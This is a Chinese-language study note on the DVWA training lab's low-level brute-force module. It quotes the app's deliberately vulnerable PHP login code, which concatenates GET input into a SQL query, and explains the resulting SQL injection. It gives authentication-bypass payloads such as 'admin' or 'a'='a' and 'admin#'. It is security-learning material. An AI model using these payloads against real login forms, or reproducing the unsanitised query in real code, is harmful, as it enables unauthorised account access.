DVWA學習(一)
暴力破解low 級别
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
PHP解釋
從LOW級别的代碼中可以看到,以GET的方式傳送USERname和password
通過SQL從USER表中查詢是否有以GET方式傳輸的兩個值,進行MYSQL查詢
查詢的結果存儲在一個變量中,如果查詢到資料庫中有這麼一個記錄
傳回一個字段值
輸出Welcome to the password protected area {$user}
<img src=\"{$avatar}\" />
若密碼錯誤(die()+沒有一條記錄)
輸出
echo "<pre><br />Username and/or password incorrect.</pre>";
代碼分析:
該代碼将輸入值直接帶入SQL查詢,依據傳回記錄情況判斷登陸是否成功。
漏洞利用:
該代碼存在SQL注入漏洞,由于沒有對輸入的字元做任何的過濾便直接帶入SQL查詢,也就是說可以在輸入中構造SQL使其到資料庫中查詢。
漏洞細節:
admin’ or ‘a’=’a
admin#
對于low級别的了解:
這是low級别的查詢語句(單引号是否可忽略)
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass'
若忽略單引号注入替換:
admin or 1=1
帶入SQL:
SELECT * FROM `users` WHERE user = ' admin or 1=1' AND password = '$pass'
帶入資料庫查詢的結果:
無法查詢出結果
帶上單引号:
admin’ or ‘a’=’a
帶入查詢:
SELECT * FROM `users` WHERE user = 'admin’ or ‘a’=’a' AND password = '$pass'
注意帶入:
Admin’#在資料庫中無法查詢成功
但是在DVWA中可成功爆破
原因如下:
缺少“;”
原本的;被#注釋掉了